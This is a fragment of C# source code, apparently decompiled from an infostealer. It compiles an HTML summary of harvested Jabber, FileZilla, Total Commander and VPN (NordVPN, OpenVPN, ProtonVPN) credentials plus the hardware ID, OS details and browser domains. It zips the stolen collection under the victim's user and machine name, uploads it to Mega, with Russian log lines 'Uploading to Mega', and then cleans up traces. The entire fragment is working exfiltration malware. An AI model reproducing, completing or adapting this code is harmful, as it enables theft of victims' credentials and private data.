style=\"color:white\">\ud83d\udca1 Jabber: ", (Startjabbers.count + Pidgin.PidginCount > 0) ? "✅" : "❌", (Pidgin.PidginCount > 0) ? (" Pidgin (" + Pidgin.PidginAkks.ToString() + ")") : "", (Startjabbers.count > 0) ? " Psi" : "", "</p>\n<h2 style=\"color:white\">\ud83d\udce1 FTP</h2>\n<p style=\"color:white\"> ∟ FileZilla: ", (FileZilla.count > 0) ? ("✅ (" + FileZilla.count.ToString() + ")") : "❌", "</p>\n<p style=\"color:white\"> ∟ TotalCmd: ", (TotalCommander.count > 0) ? "✅" : "❌", "</p>\n<h2 style=\"color:white\">\ud83d\udd0c VPN</h2>\n<p style=\"color:white\"> ∟ NordVPN: ", (NordVPN.count > 0) ? "✅" : "❌", "</p>\n<p style=\"color:white\"> ∟ OpenVPN: ", (OpenVPN.count > 0) ? "✅" : "❌", "</p>\n<p style=\"color:white\"> ∟ ProtonVPN: ", (ProtonVPN.count > 0) ? "✅" : "❌", "</p>\n<p style=\"color:white\">\ud83c\udd94 HWID: ", Help.HWID, "</p>\n<p style=\"color:white\">⚙️ ", Systemsinfo.GetOSInformation(), "</p>\n<p style=\"color:white\">\ud83d\udd0e ", File.ReadAllText(Help.Browsers + "\\DomainDetect.txt"), "</p>\n</center>\n</body>\n</html>" }); File.WriteAllText(Help.collectionDir + "\\InfoHERE.html", contents); Console.WriteLine("Упаковка архива"); string text = string.Concat(new string[] { Help.dir, "\\", Help.userName, "_", Help.machineName, Help.CountryCOde(), ".zip" }); using (ZipFile zipFile = new ZipFile(Encoding.GetEncoding("cp866"))) { zipFile.ParallelDeflateThreshold = -1L; zipFile.UseZip64WhenSaving = Zip64Option.Always; zipFile.CompressionLevel = CompressionLevel.Default; zipFile.AddDirectory(Help.collectionDir); zipFile.Save(text); } Console.WriteLine("Залив на мегу"); MegaSend.TaskUpl(text); Clean.GetClean(); }